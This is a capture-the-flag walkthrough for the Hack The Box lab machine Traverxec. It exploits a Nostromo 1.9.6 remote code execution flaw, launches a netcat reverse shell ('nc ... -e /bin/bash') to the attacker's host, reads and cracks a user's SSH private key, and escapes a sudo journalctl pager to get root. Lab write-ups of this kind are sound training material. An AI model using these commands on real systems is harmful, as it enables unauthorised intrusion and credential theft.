Hack The Box

Hack The Box: Traverxec Walkthrough

Traverxec uses a Nostromo RCE, exposed home-directory data, and sudo journalctl for root.

Traverxec Hack The Box machine artwork
Official Hack The Box machine artwork for Traverxec.Hack The Box machine page opens in a new tab

Recon & Enumeration

Use nmap to full scan for open ports and services:

HackTheBox “Traverxec” Walkthrough, figure 2

Visit the target at port 80.

HackTheBox “Traverxec” Walkthrough, figure 3

Given that the target is operating a Nostromo 1.9.6 web server as we got from nmap scan results, we will check what would searchsploit tell us.

HackTheBox “Traverxec” Walkthrough, figure 4

We get an exploit that corresponds precisely to the version. Download it.

HackTheBox “Traverxec” Walkthrough, figure 5

Run it.

HackTheBox “Traverxec” Walkthrough, figure 6

Exploitation:

We will initiate the process by deploying the following command as a payload argument for the Python script:

nc 10.10.14.8 4343 -e /bin/bash

However, we can set up a listener.

HackTheBox “Traverxec” Walkthrough, figure 7

Run the script.

HackTheBox “Traverxec” Walkthrough, figure 8

Check the listener.

HackTheBox “Traverxec” Walkthrough, figure 9

Privilege Escalation:

Since we have a Nostromo web server, Review around and check its conf folder.

HackTheBox “Traverxec” Walkthrough, figure 10

The home directory of David possesses restricted readability for us; nonetheless, it is feasible to directly cd into the folders referenced within the conf file above. Review the public_www folder.

HackTheBox “Traverxec” Walkthrough, figure 11

We are gonna need to extract this backup folder, so, we can cp it to /tmp and then extract.

HackTheBox “Traverxec” Walkthrough, figure 12

Check id_rsa.

www-data@traverxec:/tmp$ cat home/david/.ssh/id_rsacat home/david/.ssh/id_rsa[Redacted: rsa private key material from the authorized lab has been removed from this published version.]

We transfer the target file to our attack box, where we use the ssh2john tool to convert it into a format that can be processed by John. we initiate the John to perform the password cracking process on the converted file.

HackTheBox “Traverxec” Walkthrough, figure 13

We ssh into the target using the id_rsa and the passphrase we cracked "hunter".

HackTheBox “Traverxec” Walkthrough, figure 14

Review around David's home folder.

HackTheBox “Traverxec” Walkthrough, figure 15

Run server-stats.sh.

HackTheBox “Traverxec” Walkthrough, figure 16

Server-stats.sh.

david@traverxec:~$ cat /home/david/bin/server-stats.sh #!/bin/bashcat /home/david/bin/server-stats.headecho "Load: `/usr/bin/uptime`"echo " "echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"echo " "echo "Last 5 journal log lines:"/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

After reviewing the information within the 'server-stats.sh' file, it appears that the user 'david' possesses permissions to execute 'journalctl' with root. This signifies that I have the capability to employ the subsequent command with elevated privileges:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

As per the details provided in GTFOBins opens in a new tab, an opportunity presents itself to break free from the pager using the!/bin/bash. Minimize the shell window as small as possible to be able to type the command.

HackTheBox “Traverxec” Walkthrough, figure 17

Now, we can escape it with!/bin/bash.

HackTheBox “Traverxec” Walkthrough, figure 18

Further reading

Evidence connected to this article.

Back to article start